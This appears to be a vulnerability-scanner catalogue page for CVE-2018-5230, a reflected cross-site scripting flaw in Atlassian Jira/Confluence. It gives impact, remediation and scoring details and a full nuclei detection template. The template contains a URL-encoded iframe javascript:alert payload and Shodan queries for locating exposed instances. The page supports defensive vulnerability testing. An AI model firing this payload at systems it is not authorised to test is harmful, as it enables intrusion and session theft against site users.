Atlassian Jira Confluence - Cross-Site Scripting

mediumseverity

6.1CVSS score

37%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Atlassian Jira Confluence before version 7.6.6, from version 7.7.0 before version 7.7.4, from version 7.8.0 before version 7.8.4, and from version 7.9.0 before version 7.9.2, allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the error message of custom fields when an invalid value is specified.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.

Fix

Apply the latest security patches or updates provided by Atlassian to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/pages/includes/status-list-mo%3Ciframe%20src%3D%22javascript%3Aalert%28document.domain%29%22%3E.vm
Positive when: contains "<iframe src=\"javascript:alert(document.domain)\">" and "confluence" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-5230 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-5230

info:
  name: Atlassian Jira Confluence - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: |
    Atlassian Jira Confluence before version 7.6.6, from version 7.7.0 before version 7.7.4, from version 7.8.0 before version 7.8.4, and from version 7.9.0 before version 7.9.2, allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the error message of custom fields when an invalid value is specified.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Apply the latest security patches or updates provided by Atlassian to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-67289
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5230
    - https://github.com/sushantdhopat/JIRA_testing
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/Faizee-Asad/JIRA-Vulnerabilities
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5230
    cwe-id: CWE-79
    epss-score: 0.37032
    epss-percentile: 0.98527
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve,cve2018,atlassian,confluence,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/includes/status-list-mo%3Ciframe%20src%3D%22javascript%3Aalert%28document.domain%29%22%3E.vm"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<iframe src="javascript:alert(document.domain)">'
          - 'confluence'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from